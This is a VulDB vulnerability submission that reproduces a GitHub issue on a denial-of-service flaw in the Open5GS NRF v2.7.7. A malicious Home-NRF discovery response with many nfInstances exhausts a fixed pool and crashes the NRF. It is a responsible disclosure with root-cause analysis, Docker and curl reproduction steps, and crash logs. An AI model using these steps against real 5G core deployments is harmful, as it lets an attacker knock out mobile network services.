Soumettre #808508: Open5gs NRF v2.7.7 Denial of Serviceinformation

TitreOpen5gs NRF v2.7.7 Denial of Service
Description### Open5GS Release, Revision, or Tag v2.7.7 ### Steps to reproduce ### Description NRF aborts when an inter-PLMN discovery request causes the local NRF to query a Home-PLMN NRF and the Home-NRF `SearchResult` contains too many distinct `nfInstances`. This is a client-response trust-boundary bug, not a direct `nnrf-nfm/nf-instances` registration bug. The local NRF enters the inter-PLMN fallback path, sends a downstream discovery request to the Home NRF, and then parses the returned `SearchResult` through: ```c OpenAPI_list_for_each(SearchResult->nf_instances, node) { ... nf_instance = ogs_sbi_nf_instance_find(NFProfile->nf_instance_id); if (!nf_instance) { nf_instance = ogs_sbi_nf_instance_add(); ogs_assert(nf_instance); } } ``` `ogs_sbi_nf_instance_add()` allocates from a fixed `nf_instance_pool` and asserts when the pool is exhausted: ```c ogs_pool_alloc(&nf_instance_pool, &nf_instance); ogs_assert(nf_instance); ``` Pool sizing comes from the peer limit: ```c ogs_app()->pool.nf = global_conf.max.peer; ``` With default settings this is `64`. In a fresh NRF process, the pool already contains the local NRF instance, and the inter-PLMN fallback path also adds a temporary Home-NRF entry before parsing the response. A malicious Home-NRF response with enough unique `nfInstances` therefore crashes the local NRF. ### Root cause - Entry route: `GET /nnrf-disc/v1/nf-instances` with inter-PLMN parameters - Downstream client path: local NRF -> Home NRF `GET /nnrf-disc/v1/nf-instances` - Response iteration site: `../src/nrf/nnrf-handler.c:1419-1449` - Exact crash site: `../lib/sbi/context.c:1235-1236` - Root cause family: resource exhaustion leading to assertion abort - Controlling field: `SearchResult.nfInstances[*].nfInstanceId` ### Steps to Reproduce 1. Run a fake h2c Home NRF on the Docker `open5gs` network: ```bash docker rm -f hnrfctl 2>/dev/null || true docker run -d --name hnrfctl --network open5gs --network-alias hnrfctl \ -e NRF_FAKE_PORT=80 \ -v /home/ubuntu/open5gs_277/.audit_tmp:/srv \ node:22-alpine node /srv/nrf_fake_hnrf.js ``` 2. Resolve the current local NRF IP: ```bash NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf) echo "$NRF_IP" ``` 3. Control case: configure the helper to return one benign foreign NF and send an inter-PLMN discovery request: ```bash printf 'control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 8 --get \ "http://$NRF_IP/nnrf-disc/v1/nf-instances" \ --data-urlencode 'target-nf-type=UDR' \ --data-urlencode 'requester-nf-type=UDM' \ --data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \ --data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \ --data-urlencode 'hnrf-uri=http://hnrfctl' ``` 4. Malicious case: switch the helper to `many-instances`, restart the local NRF to clear cached foreign NF entries, and send the same request again: ```bash printf 'many-instances\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ) docker restart nrf >/dev/null sleep 2 curl --http2-prior-knowledge -sS -i -m 10 --get \ "http://$NRF_IP/nnrf-disc/v1/nf-instances" \ --data-urlencode 'target-nf-type=UDR' \ --data-urlencode 'requester-nf-type=UDM' \ --data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \ --data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \ --data-urlencode 'hnrf-uri=http://hnrfctl' docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf docker logs --since "$start_ts" nrf 2>&1 | tail -n 20 ``` ### Logs ```shell Control response: HTTP/2 200 {"validityPeriod":30,"nfInstances":[{"nfInstanceId":"fake-foreign-udr-safe",...}]} Malicious client-visible failure: curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream Container state after the crash: exited 139 2026-04-12T06:24:40.452605766Z 0 NRF logs: 04/12 06:24:40.364: [nrf] INFO: [fake-foreign-udr-many-062] (NF-discover) NF registered [type:UDR] (../src/nrf/nnrf-handler.c:1460) 04/12 06:24:40.364: [sbi] FATAL: ogs_sbi_nf_instance_add: Assertion `nf_instance' failed. (../lib/sbi/context.c:1236) 04/12 06:24:40.364: [core] FATAL: backtrace() returned 11 addresses (../lib/core/ogs-abort.c:37) ``` ### Expected behaviour The local NRF should reject or cap oversized Home-NRF `SearchResult` collections without abortin ### Observed Behaviour A single malicious Home-NRF discovery response with many distinct NF profiles terminates the local NRF process with exit code `139`. ### eNodeB/gNodeB Not required. ### UE Models and versions Not required.
La source⚠️ https://github.com/open5gs/open5gs/issues/4456
Utilisateur
 LinJu (UID 97503)
Soumission20/04/2026 21:50 (il y a 1 mois)
Modérer11/05/2026 10:02 (21 days later)
StatutAccepté
Entrée VulDB362588 [Open5GS jusqu’à 2.7.7 NRF lib/sbi/nnrf-handler.c ogs_nnrf_nfm_handle_nf_profile déni de service]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!